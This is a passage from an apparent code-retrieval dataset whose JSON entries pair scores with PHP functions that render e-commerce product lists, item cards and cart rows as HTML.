->select('t_promotion_item.price', 't_promotion_item.total_sale', 't_promotion_item.title', 't_promotion_item.quantity', 't_promotion_item.id', 't_promotion_item.comission_site', 't_promotion.title_main')->get()\n ];\n return view('components.promotions.items', $data);\n }", "title": "" }, { "docid": "227bdbe35bfd4036c5674d301d859c7c", "score": "0.6409109", "text": "protected function _toHtml() \n {\n \t$itemId = $this->_dataHelper->getItemId();\n \t$accessKey = $this->_dataHelper->getAccessKey();\n \t\n \t$_product = $this->_registry->registry('product');\n \t\n\tif ($_product != null && $accessKey != null) {\n\t\t$objectManager = \\Magento\\Framework\\App\\ObjectManager::getInstance();\n\t\t$store = $objectManager->get('Magento\\Store\\Model\\StoreManagerInterface')->getStore();\n\t\t$_image_url = $store->getBaseUrl(\\Magento\\Framework\\UrlInterface::URL_TYPE_MEDIA) . 'catalog/product' . $_product->getImage();\n\t\n\t\treturn '<div id=\"widget-' . $_product->getId() . '\"><script type=\"text/javascript\" src=\"https://www.monaviscompte.fr/widget?internal_id=' . $_product->getId() . '&public_key=' . $accessKey . '&div=widget-' . $_product->getId() . '&title=' . $_product->getName() . '&summary=' . strip_tags($_product->getShortDescription()) . '&picture=' . $_image_url . '\"></script></div>';\n\t}\n\t\n \tif ($itemId != null && $accessKey != null) {\n \t\treturn '<div id=\"widget-' . $itemId .'\"><script type=\"text/javascript\" src=\"https://www.monaviscompte.fr/widget?id=' . $itemId . '&public_key=' . $accessKey . '&div=widget-' . $itemId . '\"></script></div>';\n \t}\n }", "title": "" }, { "docid": "2355339da86bd36521fac65100b71349", "score": "0.6375123", "text": "public function generateHtml() {\n $html = \"<li>\";\n if ($this->link !== null) {\n $html .= \"<a style='padding:0;' target='_blank' href='{$this->link}'>\";\n }\n $html .= \"<img \";\n if ($this->id !== null) {\n $html .= \"id='{$this->id}' \";\n }\n if ($this->class !== null) {\n $html .= \"class='{$this->class}' \";\n }\n $html .= \"src='{$this->src}'>\";\n if ($this->link !== null) {\n $html .= \"</a>\";\n }\n return $html;\n }", "title": "" }, { "docid": "7e71261cbf811221fcacb0aed154fa55", "score": "0.635716", "text": "function printItems(){\n /* Display items available to add to cart */\n echo \"<b>Available items</b><br>\";\n \n foreach ($this->products as $product) {\n echo $product[\"name\"] . \": $\" . number_format($product[\"price\"], 2) \n . \" \" . \"<a href=\\\"Cart.php?product=\" . urlencode(\"add_\" . $product[\"name\"]) \n . \"\\\">\" . buy . \"</a>\" . \"<br>\";\n }\n }", "title": "" }, { "docid": "b305bb569defc34a3288a748d090d8b4", "score": "0.63494444", "text": "public function render(){\n\t\t$lis=\"\";\n\t\tforeach ($this->categs as $categ) {\n\t\t\t$lis .= \"<a href='\".URL.\"?c=produtos&a=produtoscateg&id={$categ['id']}' class='list-group-item list-group-item-action waves-effect'>{$categ['nome']}</a>\";\n\t\t}\n\n\t\techo sprintf(\"<ul class='list-group'>%s</ul>\",$lis);\n\t}", "title": "" }, { "docid": "eac2bac46569a062313bdc9d76615f3c", "score": "0.6338665", "text": "public function getProductListHtml()\n\t{\n\t\treturn $this->getChildHtml('search_result_list');\n\t}", "title": "" }, { "docid": "d5fdb8860c8fb9c4ec973d3ebb2a94fd", "score": "0.632957", "text": "private function RenderItems()\n {\n $strlistitem = \"\";\n\n for ($i = 0; $i < count($this->Items); $i++)\n {\n $listitem = new ListItem();\n $listitem = $this->Items[$i];\n $text = $listitem->Text;\n $value = $listitem->Value;\n $enabled = $listitem->Enabled;\n $selected = $listitem->Selected == true ? \"selected\" : \"\";\n $strlistitem .= \"<option value='$value' $selected>$text</option>\";\n }\n\n return $strlistitem;\n }", "title": "" }, { "docid": "e8dd7dccbbc8778a775efa9bd83bd081", "score": "0.63219833", "text": "public function printProductsList(): void\n {\n echo '<table class=\"display\" id=\"products-table\"><thead><tr><th>ID</th><th>Image</th><th>Name</th><th>Merchant</th><th>Brand</th><th>Price</th><th>Actions</th></tr></thead><tbody>';\n echo '<tr><td colspan=\"4\">Loading</td></tr>';\n echo '</table>';\n }", "title": "" }, { "docid": "2719dbfa63b30747ed8c941763477f36", "score": "0.6313826", "text": "private function generateFormItemsHTML()\n\t{\n\t\t$return = \"\";\n\t\tif (is_array($this->components) && count($this->components) > 0)\n\t\t{\n\t\t\t//echo nl2br(print_r($this->components, true));\n\t\t\tforeach ($this->components as $value)\n\t\t\t{\n\t\t\t\t$callable_name = null;\n\t\t\t\tif (is_object($value) && is_callable(\"generateHTML\", true, $callable_name) )\n\t\t\t\t{\t\n\t\t\t\t\tif ($this->required == E_REQUIRED::YES){\n\t\t\t\t\t\t//$value->addAttribute(\"required\");\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// Element is of type HTMLComponent.\n\t\t\t\t\tif ($this->direction == E_FORMLAYOUT::VERTICAL){\n\t\t\t\t\t\t$value->addClass(\"form-control\");\n\t\t\t\t\t}\n\n\t\t\t\t\t$return .= $value->generateHTML();\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$return .= $value;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t// write2Debugfile(self::DEBUG_FILENAME, \"\\nHTML_FormItem components generated\\n\".$return);\n\t\treturn $return;\n\t}", "title": "" }, { "docid": "cade4eec97c7e14c97fb8d8a8127d49d", "score": "0.6283686", "text": "protected function _getProductPageCode()\n {\n\n $currentProduct = Mage::registry('current_product');\n\n if (!($currentProduct instanceof Mage_Catalog_Model_Product)) {\n return '';\n }\n\n $_taxHelper = Mage::helper('tax');\n $priceExclTax = $_taxHelper->getPrice($currentProduct, $currentProduct->getPrice(), false);\n \n $html = sprintf(\"_paq.push(['setEcommerceView', '%s', '%s', [%s], %s, 1]);\",\n $this->jsQuoteEscape($currentProduct->getId()),\n $this->jsQuoteEscape($currentProduct->getName()),\n implode(',', $currentProduct->getCategoryIds()),\n $priceExclTax\n );\n\n $html .= sprintf(\"_paq.push(['trackEvent', 'Product Click', 'Clic', '%s']);\", $this->jsQuoteEscape($currentProduct->getId()));\n\n //we don't want to show\n Mage::unregister('current_category');\n\n return $html;\n }", "title": "" }, { "docid": "595a36f415d5891f874cfe0648b3d1ae", "score": "0.627907", "text": "function displayItems()\n\t{\n\t\t// set mySQL SELECT query\n\n\t\tglobal $db_connect;\t// create instance of the database connection\n\n\t\t$query_select = \"SELECT * FROM `product`\";\n\n\t\t// execute query\n\n\t\t$result = mysqli_query($db_connect, $query_select);\n\n\t\t// extract data from query result and display them in an HTML Table\n\n\t\techo \"<table class='table table-hover'>\";\t// start the table\n\n\t\t\techo\"\n\t\t\t\t<tr>\n\t\t\t\t\t<td><h4>#</h4></td>\n\t\t\t\t\t<td><h4>Product ID</h4></td>\n\t\t\t\t\t<td><h4>Product Name</h4></td>\n\t\t\t\t\t<td><h4>Price</h4></td>\n\t\t\t\t\t<td><h4>Description</h4></td>\n\t\t\t\t\t<td><h4>Action</h4></td>\n\t\t\t\t</tr>\n\t\t\t\";\n\t\t\t$i = 1;\n\t\t\twhile( $row = mysqli_fetch_array($result) )\n\t\t\t{\n\t\t\t\techo \"\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>$i</td>\n\t\t\t\t\t\t<td>\".$row['id'].\"</td>\n\t\t\t\t\t\t<td>\".$row['product_name'].\"</td>\n\t\t\t\t\t\t<td>\".$row['price'].\"</td>\n\t\t\t\t\t\t<td>\".$row['description'].\"</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<a href='update.php?id=\".$row['id'].\"'>Edit</a> | <a href='server/cruds_delete.php?id=\".$row['id'].\"'>Delete</a>\n\t\t\t\t\t\t</td>\n\n\t\t\t\t\t</tr>\n\t\t\t\t\";\n\t\t\t$i++;\n\t\t\t}\n\n\t\techo \"</table>\";\t//end the table\n\t}", "title": "" }, { "docid": "8bb16d384f2b47275bb7fdc08456ed67", "score": "0.62592536", "text": "protected function _toHtml()\n {\n return $this->getProductsXmlObject()->asNiceXml();\n }", "title": "" }, { "docid": "a098baba2c1abc1a7fa83ddcd8951a31", "score": "0.62297136", "text": "public function display(){\n // Display product\n #todo also make sure that hyperlink is correct\n echo \"<tr>\n\t\t\t<td class='productPic'><img src=\".$this->getImagePath().\" alt=\". $this->getName() .\" height='342' width='171'\\\"></td>\n\t\t\t<td class='productLink'><a href='./index.php?view_product=\". $this->getProductId() .\"'>\" . $this->getName() . \"</a></td>\n\t\t\t<td class='productPrice'>$\" . $this->getPrice() . \"</td>\n\t\t\t<td class='productDesc'>\" . $this->getDesc() . \"</td>\n\t\t</tr>\";\n\n\n }", "title": "" }, { "docid": "e97785043d62dbfd1637487081a97b0b", "score": "0.62272805", "text": "public function getProductListHtml()\n {\n return $this->getChildHtml('apdc_search_result_list');\n }", "title": "" }, { "docid": "01f7f81397dbd687ac551e7d8948dafd", "score": "0.62248784", "text": "public function viewProduct(){\n // Display product\n echo \"<table id='viewProductTable' cellspacing='10'>\n <tr><td></td></tr>\n <tr>\n <td>\n\t\t\t <img src=\".$this->getImagePath().\" alt=\". $this->getName() .\" height='342' width='171'\\\">\n\t\t\t </td>\n\t\t\t <td class='productInfo'>\n\t\t\t <span>\" . $this->getName() . \"</span>\n\t\t\t <br><br><br><br>\n\t\t\t <span>$\" . $this->getPrice() . \"</span><br><br><br>\n\t\t\t <span>\" . $this->getDesc() . \"</span>\n\t\t\t </td>\n\t\t\t <td class='productPurchase'>\n\t\t\t <p>\n\t\t\t\t <form action='./index.php?view_product=\".$this->getProductId().\" method='post'>\n\t\t\t\t\t <input name='quantity' type='number' min='1' value='1' required>\n\t\t\t\t\t <input type='hidden' name='product_id' value=\" . $this->getProductId() . \" />\n\t\t\t\t\t <input type='hidden' name='view_cart' value='TRUE' />\n\t\t\t\t\t <input type='submit' name='add_to_cart' value='Add to cart' />\n\t\t\t\t </form>\n\t\t\t </p>\n\t\t\t </td>\n\t\t\t</tr>\n\t\t</table>\";\n }", "title": "" }, { "docid": "f016db6a8fece52eec628ee9e805c899", "score": "0.6210851", "text": "public function renderCmsProductAction()\r\n {\r\n return $this->render('YilinkerBackendBundle:Cms:product.html.twig');\r\n }", "title": "" }, { "docid": "eee16a45c2afb8b4146b50d90c11342d", "score": "0.620146", "text": "function display_item($iditem,$nomitem,$imageitem,$etatitem,$hrefitem) \n{\n\techo \"\t<div class='col-md-4 col-md-4 col-sm-12'>\n\t\t\t\t<div align='center' class='thumbnail'>\n\t\t\t\t\t<a href='$hrefitem\".\"?id=$iditem' target='_blank' ><img src=$imageitem class='img-fluid'>\n\t\t\t\t\t<div class='caption'>\n\t\t\t\t\t\t<p id='id'>$iditem</p>\n\t\t\t\t\t\t<p id='titre'>$nomitem</p>\n\t\t\t\t\t\t<p id='prix'>$etatitem</p>\n\t\t\t\t\t\t</div></a>\n\t\t\t\t</div>\n\t\t\t</div>\";\n}", "title": "" }, { "docid": "a38971fbccdb09a3edab3c4bc7a423d8", "score": "0.6192774", "text": "function buildProductList($product_data){\n $list = \"<h2>My product list</h2>\n <table class='table'>\";\n $list .=\"<thead>\n <tr>\n <th scope='col'>#</th>\n <th scope='col'>Product</th>\n <th scope='col'>Price</th>\n <th scope='col'>Comment</th>\n <th scope='col'>Path</th>\n <th scope='col'>Action</th>\n <th scope='col'>Action</th>\n </tr>\n </thead>\";\n $list .=\"<tbody>\";\n foreach($product_data as $product){\n $list .= \"<tr>\n <th scope='row'>\".$product['pr_id'].\"</th>\n <td>\".$product['pr_name'].\"</td>\n <td>\".$product['pr_price'].\"</td>\n <td>\".$product['pr_comment'].\"</td>\n <td>\".$product['pr_path'].\"</td>\n <td><a href='https://powerful-sierra-77608.herokuapp.com/Personal-Project/products/index.php?action=delete&pr_id=\".urlencode($product['pr_id']).\"'>Delete</a></td>\n <td><a href='https://powerful-sierra-77608.herokuapp.com/Personal-Project/products/index.php?action=modify-page&pr_id=\".urlencode($product['pr_id']).\"'>Modify</a></td>\n </tr>\";\n \n }\n $list .= \"</tbody></table>\";\n return $list;\n}", "title": "" }, { "docid": "63181d7fa8c2b79a6d31be5c290bcfc3", "score": "0.6171894", "text": "function kapee_loop_product_info_wrapper() { ?>\n\t\t<div class=\"product-info\">\n\t<?php }", "title": "" }, { "docid": "54ce411185470ff3616cbe46b8f1bfb9", "score": "0.6167029", "text": "public function index()\n {\n $this->title = 'Товары';\n\n $products = $this->getProducts();\n $this->content = view(config('settings.theme').'.admin.products.products_content')->with('products', $products)->render();\n return $this->renderOutput();\n }", "title": "" }, { "docid": "0d006bd1a6b4198e3520cd9250ba2689", "score": "0.6149401", "text": "function kapee_loop_product_wrapper() { ?>\n\t\t<div class=\"product-wrapper\">\n\t<?php }", "title": "" }, { "docid": "bd294a28d80fbe337d622519c143534a", "score": "0.61411816", "text": "public function getItemList(): HTML\n\t{\n\t\t$lines = [];\n\t\tforeach ($this->order->getItems() as $item) {\n\t\t\t$ean = $item->getEan();\n\t\t\t$lines[] = sprintf(\n\t\t\t\t'<tr><td>%s%s</td><td style=\"text-align:right\">%d</td><td style=\"text-align:right\">%s</td></tr>',\n\t\t\t\t$item->getLabel(),\n\t\t\t\t$ean !== null ? '<br>EAN:&nbsp;' . $ean : '',\n\t\t\t\t$item->getAmount(),\n\t\t\t\t$item->getFinalPrice()->render(true),\n\t\t\t);\n\t\t}\n\n\t\t$delivery = $this->order->getDelivery();\n\t\tif ($delivery !== null) {\n\t\t\t$lines[] = sprintf(\n\t\t\t\t'<tr><td>Doprava %s</td><td style=\"text-align:right\">1</td><td style=\"text-align:right\">%s</td></tr>',\n\t\t\t\t$delivery->getLabel(),\n\t\t\t\t(new Price($delivery->getPrice(), $this->order->getCurrency()))->render(true),\n\t\t\t);\n\t\t}\n\n\t\t$payment = $this->order->getPayment();\n\t\tif ($payment !== null) {\n\t\t\t$lines[] = sprintf(\n\t\t\t\t'<tr><td>Platba %s</td><td style=\"text-align:right\">1</td><td style=\"text-align:right\">%s</td></tr>',\n\t\t\t\t$payment->getName(),\n\t\t\t\t(new Price($payment->getPrice(), $this->order->getCurrency()))->render(true),\n\t\t\t);\n\t\t}\n\n\t\treturn new HTML(\n\t\t\t'<table style=\"width:100%\">'\n\t\t\t. '<tr><th>Položka</th><th style=\"text-align:right\">Množství</th><th style=\"text-align:right\">Cena</th></tr>'\n\t\t\t. implode(\"\\n\", $lines)\n\t\t\t. '</table>',\n\t\t);\n\t}", "title": "" }, { "docid": "e30d00624095fbac35f1c678166d9861", "score": "0.61324877", "text": "public function getProduct()\n {\n echo \"{$this->name}, price {$this->startPrice}, amount {$this->amount}\";\n }", "title": "" }, { "docid": "d402eb20e27c97951cb906f01b9937a4", "score": "0.6120372", "text": "public static function add_shop_loop_item_inner_div() {\n\t\t\techo '<div class=\"product-inner clr\">';\n\t\t}", "title": "" }, { "docid": "9284b91b40f61c5301c411fa17e927d1", "score": "0.61174995", "text": "public function render()\r\n\t{\r\n\t?>\r\n\t<div class=\"wrap\">\r\n\t\t<h2>\r\n\t\t\t<?php echo $this->label( 'export_items' );?>\r\n\t\t</h3>\r\n \t<?php $this->display();?>\t\r\n\t</div>\r\n\t<?php\r\n\t}", "title": "" }, { "docid": "2090fe327d6846e39bdecf22eb56d4f5", "score": "0.61158544", "text": "function displayProducts($products)\n {\n foreach ($products as $product) {\n echo $product[\"name\"] . \": $\" . number_format((float)$product[\"price\"], 2, '.', \"\") . \" \";\n echo \"<a href=\\\"index.php?name=\" . $product[\"name\"] . \"\\\">Add to cart</a>\";\n echo \"<p>--------------------------------------------</p>\";\n }\n }", "title": "" }, { "docid": "6fcc66984bd4abd526c41efc4e50ace5", "score": "0.61158174", "text": "public function renderCmsProductDetailsAction()\r\n {\r\n return $this->render('YilinkerBackendBundle:Cms:product_details.html.twig');\r\n }", "title": "" }, { "docid": "a182d092b12a6128cfd78135ad77c2aa", "score": "0.6111772", "text": "public function render()\n {\n return view('adminhub::livewire.components.products.index', [\n 'products' => $this->products,\n ])->layout('adminhub::layouts.base');\n }", "title": "" }, { "docid": "224299dd0ead507fce7c2eec973b9eb1", "score": "0.6103071", "text": "function items_from_products()\n\t{\n\t\t$data = array();\n\t\t$data['products'] = $this->common_model->db_select('ci_products');\n\t\t$this->load->view('invoices/products_modal', $data);\n\t}", "title": "" }, { "docid": "36a69e58a6e3999322f7b253999a911c", "score": "0.60913134", "text": "function get_products() { //displays products on the home page in the public area\n\t\t$query = query(\"SELECT * FROM products\"); //\t\tquery is a helper function defined above\n\t\tconfirm($query);\n\t\twhile($row = fetch_array($query)) { //fetch array is a helper function defined above\n\n\t\t$product_image = display_image($row['product_image']);\n\n\t\t$product = <<<DELIMETER\n\t\t<div class=\"col-sm-4 col-lg-4 col-md-4\">\n <div class=\"thumbnail\">\n <a href=\"item.php?id={$row['product_id']}\"><img src=\"../resources/{$product_image}\" alt=\"\"></a>\n <div class=\"caption\">\n <h4 class=\"pull-right\">&#36;{$row['product_price']}</h4>\n <h4><a href=\"item.php?id={$row['product_id']}\">{$row['product_title']}</a>\n </h4>\n <p>See more snippets like this online store item at <a target=\"_blank\" href=\"httphttp://bootsnipp.com\"></a>.</p>\n </div>\n <div class=\"ratings\">\n <p class=\"pull-right\">15 reviews</p> \n\n <a class=\"btn btn-primary\" target=\"_blank\" href=\"../resources/cart.php?add={$row['product_id']}\">Add to Cart</a>\n \n </div>\n </div>\n </div>'; \nDELIMETER;\n\n echo $product;\n\n\t\t}\n\t}", "title": "" }, { "docid": "c7f84f0834f35d2d43d8c5b54be3745c", "score": "0.60873264", "text": "public function add()\n {\n // TODO : add a new item\n return $this->twig->render('Item/add.html.twig');\n }", "title": "" }, { "docid": "697eb6d662fca0f20f24bfd1501486af", "score": "0.6077371", "text": "public function show_atts_on_shop()\n\t{\n\t\tglobal $product;\n\t\techo wp_kses_post($this->the_attributes($product, 'li'));\n\t}", "title": "" }, { "docid": "16662ba4ba34cb0ee4a3b6d626859961", "score": "0.6076122", "text": "public function html()\n {\n return $this->builder()\n ->setTableId('product-table')\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->dom('Bfrtip')\n ->orderBy(1);\n }", "title": "" }, { "docid": "7084262aa561a2f08edfd0d82494e223", "score": "0.60732406", "text": "function show_new_products() {\n require $_SERVER['DOCUMENT_ROOT'] . '/e_commerce/sql/sql_connexion.php';\n require $_SERVER['DOCUMENT_ROOT'] . '/e_commerce/products/common_functions.php';\n\n $request = $bdd->query(\"SELECT * FROM products ORDER BY id DESC LIMIT 3\");\n\n echo '<div id=\"core_core\">\n <div id=\"show_new_products_title\">NOUVEAUTÉS</div>\n <hr width=\"85%\" style=\"opacity: 0.3; float: right; margin-top: 2.3%;\n margin-right: 10px;\">\n\n <div id=\"show_new_products_wrapper\">';\n\n while ($fetch = $request->fetch()) {\n echo '<div id=\"'.$fetch['id'].'\" class=\"show_new_products_product\">\n <div class=\"show_new_products_product_image\">\n <img src=\"'.$fetch['image_link'].'\" width=\"200\" height=\"200\">\n </div>\n\n <div class=\"show_new_products_product_name\">'\n .$fetch['name'].\n '</div>\n\n <div class=\"show_new_products_product_mini_description\">'\n .substr($fetch['mini_description'], 0, 150).\n '</div>\n\n <div class=\"show_new_products_product_price\">'\n .putEuroSymbolandSupTagDecimals($fetch['price']).\n '</div>\n </div>';\n }\n\n echo ' </div>\n </div>';\n}", "title": "" }, { "docid": "6a6d209654e16de644c17cf6758df7b4", "score": "0.6071154", "text": "function mod_productlist($ret_prod,$title)\n\t\t{\n\t\t\tglobal $Captions_arr,$ecom_siteid,$db,$Settings_arr;\n\t\t\t\n\t\t?>\n\t\t\t\t<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" class=\"catprod_table\">\n\t\t\t<?php\n\t\t\t\tif($title)\n\t\t\t\t{\n\t\t\t?>\n\t\t\t\t<tr>\n\t\t\t\t\t<td class=\"catprod_header\"><?php echo $title?></td>\n\t\t\t\t</tr>\n\t\t\t<?php\n\t\t\t\t}\n\t\t\t?>\t\n\t\t\t<tr>\n\t\t\t\t<td>\n\t\t\t\t<?php\n\t\t\t\t\twhile ($row_prod = $db->fetch_array($ret_prod))\n\t\t\t\t\t{\n\t\t\t\t?>\n\t\t\t\t\t\t<ul class=\"catprod_prod\"> \n\t\t\t\t\t\t\t<li class=\"catprod_prodes\"><a href=\"<?php echo url_product($row_prod['product_id'],$row_prod['product_name'],-1)?>\" class=\"catprod_prodlink\" title=\"<?php echo stripslashes($row_prod['product_name'])?>\"><?php echo stripslashes($row_prod['product_name'])?></a></li>\n\t\t\t\t\t\t</ul> \n\t\t\t\t<?php\n\t\t\t\t\t}\n\t\t\t\t?>\t\t\t\t\t \n\t\t\t\t\t</td>\n\t\t\t\t</tr>\n\t\t\t</table>\n\t\t<?php\t\t\n\t\t}", "title": "" }, { "docid": "e1740aab6ad028f3c1d6eecc23e4b06f", "score": "0.6058492", "text": "public function render()\n {\n return view('components.catalog.product-top');\n }", "title": "" }, { "docid": "185b3915947a0cc30d27b5b1369385c7", "score": "0.60560006", "text": "public function show()\n {\n echo \"购买商品编号:\".$this->_no.\",名称:\".$this->_name.\",数量:\".$this->_quantity.\",单价:\".$this->_unitPrice.\"\\n\";\n }", "title": "" }, { "docid": "82f4091aa3feea8dcb07dc1173c93dcc", "score": "0.60527873", "text": "public function render(): string\n {\n $strHtml = '<div id=\"'.$this->getId().'\"'.$this->renderCssClass().'>';\n if ($this->label) {\n $strHtml .= '<div>'.$this->labelName.'</div>';\n }\n foreach ($this->arrItem as $item) {\n if (is_array($item)) {\n $strHtml .= '<div><a href=\"'.$item[0].'\">'.$item[1].'</a></div>';\n } else {\n $strHtml .= '<div>'.$item.'</div>';\n }\n }\n $strHtml .= '</div>';\n\n return $strHtml;\n }", "title": "" }, { "docid": "00def7bf3b8e62978d73719c2fd111e5", "score": "0.60163647", "text": "public function showProdInBasket($i){\nreturn <<<PROD\n<h3>$this->_name</h3>\n<p>Cena sztuki: $this->_price golda</p>\n<p>Łaczna cena: <e>$this->_priceOfProd </e> golda</p>\n<form action=\"process.php\" method=\"post\">\n<input type=\"hidden\" name=\"action\" value=\"delete\" />\n<input type=\"text\" readonly=\"readonly\" name=\"del$i\" value=\"$this->_quantInBasket\" />\n<input type=\"submit\" name=\"frombasket\" value=\"usun z kosza\" />\n</form>\nPROD;\n}", "title": "" }, { "docid": "b99380949c6f5038b3a62f5a34330fac", "score": "0.6009292", "text": "function view_items()\r\n\t{\r\n\t\r\n\t\t//Get item from DB\r\n\t\t$query = $this->db->get('product');\r\n\t\t $this->data['items'] = $query;\r\n\t\t\r\n\t\t $this->data['page_title'] = 'View Items for Sale';\r\n $this->render('public/view_items');\r\n\t\t//$this->load->view('public/view_items',$data);\r\n\t}", "title": "" }, { "docid": "e38d74e5c336e868df30e276c5d1df6f", "score": "0.60027814", "text": "public function actionRenderCardHtml(): string\n {\n $id = (int)Craft::$app->request->getParam('id');\n /** @var Product $product */\n $product = Product::find()->id($id)->status(null)->one();\n return ProductHelper::renderCardHtml($product);\n }", "title": "" }, { "docid": "baea29c7b0475c85f918ce1b271eac79", "score": "0.59911615", "text": "function generate_product_detail($data) {\n\n $data[\"gender\"] = ucfirst($data[\"gender\"]);\n $data[\"description\"] = nl2br($data[\"description\"]);\n $data[\"category\"] = implode(\", \", $data[\"category\"]);\n $data = protect_output($data);\n\n\n echo <<<END\n<div class=\"row\">\n <div class=\"col-sm-9 padding-right\">\n <div class=\"product-details\"><!--product-details-->\n <div class=\"col-sm-5\">\n <div class=\"view-product\">\n <img src=\"images/product-images/{$data[\"photos\"][0]}\" alt=\"$data[name]\">\n </div>\n </div>\n <div class=\"col-sm-7\">\n <div class=\"product-information\"><!--/product-information-->\n <h2>$data[name]</h2>\n <span>\n\t\t\t\t\t\t\t\t\t<span>£$data[price]</span>\n\t\t\t\t\t\t\t\t\t<label>Quantity:</label>\n\t\t\t\t\t\t\t\t\t<form onsubmit=\"return add_into_cart(event, this);\">\n <input type=\"number\" value=\"1\" min=\"1\" max=\"$data[quantity]\" name=\"product-quantity\">\n <input type=\"hidden\" value=\"$data[id]\" name=\"product-id\">\n <button class=\"btn btn-default cart\">\n <i class=\"fa fa-shopping-cart\"></i>\n Add to cart\n </button>\n <div class='label label-success'>Added into Cart</div>\n\t\t\t\t\t\t\t\t\t</form>\n\t\t\t\t\t\t\t\t</span>\n <p><b>Availability:</b> In Stock</p>\n <p><b>Gender:</b> $data[gender]</p>\n <p><b>Size:</b> $data[size]</p>\n <p><b>Categories:</b> $data[category]</p>\n <p><b>Description:</b> </p>\n <p>$data[description]</p>\n\n </div><!--/product-information-->\n </div>\n </div><!--/product-details-->\n\n </div>\n </div>\n\n\n\nEND;\n\n}", "title": "" }, { "docid": "23406ab765a78ec0d08bd045c960ab36", "score": "0.5990104", "text": "public function get_product() {\n\n $products= $this->query(\"SELECT * FROM products\");\n while ($row = mysqli_fetch_assoc($products)) {\n $this->product_name = $row['product_name'];\n $this->product_price = $row['product_price'];\n $this->product_quantity = $row['product_quantity'];\n $this->product_image = $row['product_image'];\n\n echo\n '<div class=\"col-md-4 image-thumb\">\n <div class=\"product_wrapper\">\n <p> Price : ' . $this->product_price . \" | Quantity : \" . $this->product_quantity .'</p>\n <img src=\"' . $this->product_image . '\" class=\"img-responsive index-img\"alt=\"\">\n <h3>' . $this->product_name . '</h3>\n </div>\n </div>';\n\n }\n\n }", "title": "" }, { "docid": "885685613ca83219333f30a9b07f4fe5", "score": "0.5990046", "text": "public function create_item()\n {\n if($this->auth->add_product == 0){\n $this->template\n ->title($this->module_details['name'], lang('shop.item_create_title'))\n ->build('admin/unauthorized', '');\n return;\n }\n $this->template\n ->title($this->module_details['name'], lang('shop.item_create_title'))\n ->append_metadata($this->load->view('fragments/wysiwyg', $this->data, TRUE))\n ->append_metadata(css('shop-style.css', 'shop'))\n ->append_metadata(js('shop.js', 'shop'))\n ->set('page_edited', '')\n ->build('admin/create_item', '');\n }", "title": "" }, { "docid": "232156fe0c1aa4fc254807edefff24c7", "score": "0.59872216", "text": "public function render()\n {\n return view('adminhub::livewire.components.products.create')\n ->layout('adminhub::layouts.base');\n }", "title": "" }, { "docid": "80f7e79b4e9b020764ac2b7d48009092", "score": "0.5977539", "text": "public function showAdd()\n { \n return $this->view('cms::products::create.php', $this->fillGetView());\n }", "title": "" }, { "docid": "75554bf7179fb706e5f4249386bbb843", "score": "0.59751004", "text": "function ProductsBody()\n\t{\tparent::ProductsBody();\n\t\t$this->ProductsBodyMenu();\n\t//\techo $this->product->InputForm(), $this->product->BundlesList();\n\t}", "title": "" }, { "docid": "c4d376678d9c3156fb906962589212ba", "score": "0.5975009", "text": "function render_items() {\n?>\n <ul id=\"uncode-communicator-list\">\n<?php\n foreach ($this->getUnreadItems() as $item) {\n if (isset($item->object)) {\n $object = unserialize($item->object);\n $object->render();\n } else {\n $item->render();\n }\n }\n?>\n </ul>\n<?php\n }", "title": "" }, { "docid": "a646e3dc35181afdc3aff80908c2395c", "score": "0.59747666", "text": "public function showProducts($_data)\n {\n // Test s'il n'y a pas de produit\n if (!$_data['COUNT'])\n {\n echo '<h2>Aucun produit présent</h2>';\n \n return;\n }\n \n // Affichage du titre du produit\n echo '<h2>' . $_data['CATEGORIES']['TITRE_CATEGORIE'] . '</h2>';\n \n // Boucle sur les produits\n foreach ($_data['PRODUCTS'] as $val)\n {\n // Prenons que les 150 premiers caractères\n $description = substr($val['DESCRIPTION'], 0, 150) . ' [...]';\n \n // Affichage des produits\n echo <<<HERE\n <article>\n <a href=\"../Php/index.php?EX=product&amp;ID_PRODUCT={$val['ID_PRODUCT']}&amp;ID_CATEGORIE={$_data['CATEGORIES']['ID_CATEGORIE']}&amp;PAGE={$_data['PAGE']}\"><img src=\"../Img/{$val['VIGNETTE']}\" alt=\"{$val['TITRE_PRODUCT']}\" title=\"{$val['TITRE_PRODUCT']}\" /></a>\n <h3><a href=\"../Php/index.php?EX=product&amp;ID_PRODUCT={$val['ID_PRODUCT']}&amp;ID_CATEGORIE={$_data['CATEGORIES']['ID_CATEGORIE']}&amp;PAGE={$_data['PAGE']}\">{$val['TITRE_PRODUCT']}</a></h3>\n <p>$description</p>\n <p class=\"center\"><button data-article=\"{$val['ID_PRODUCT']}\" class=\"buy\">Achat</button> <b>{$val['PRIX']}€</b></p>\n </article>\nHERE;\n }\n\n // Test s'il y a une pagination\n if ($_data['COUNT'] > 6)\n {\n $this->showFooter($_data['COUNT'], $_data['CATEGORIES']['ID_CATEGORIE'], intval($_data['PAGE']));\n }\n \n return;\n \n }", "title": "" }, { "docid": "430f4d024bde5e512b6bc8559029a370", "score": "0.5969995", "text": "public function renderItems()\n {\n $caption = $this->renderCaption();\n $columnGroup = $this->renderColumnGroup();\n $tableHeader = $this->showHeader ? $this->renderTableHeader() : false;\n $tableEditableRow = $this->renderEditableRow($this->add_url);\n $tableBody = $this->renderTableBody();\n $tableFooter = $this->showFooter ? $this->renderTableFooter() : false;\n $content = array_filter([\n $caption,\n $columnGroup,\n $tableHeader,\n\t\t\t$tableEditableRow,\n $tableFooter,\n $tableBody,\n ]);\n\n return Html::tag('table', implode(\"\\n\", $content), $this->tableOptions);\n }", "title": "" }, { "docid": "8a370588af2a4bc13d15825204642974", "score": "0.59662294", "text": "function get_products()\n{\n $query = query(\"SELECT * FROM products\");\n confirm($query);\n\n while ($row=fetch_array($query)) {\n // short description\n $position = 30;\n $text = $row['product_description'];\n $post = substr($text, $position, 1);\n if ($post !=\" \") {\n while ($post !=\" \") {\n $i=1;\n $position=$position+$i;\n $text = $row['product_description'];\n $post = substr($text, $position, 1);\n }\n }\n $post = substr($text, 0, $position);\n\n $product = <<< DELIMETER\n <div class=\"col-sm-4 col-lg-4 col-md-4\">\n <div class=\"thumbnail\">\n <a target=\"_blank\" href=\"item.php?id={$row['product_id']}\"><img 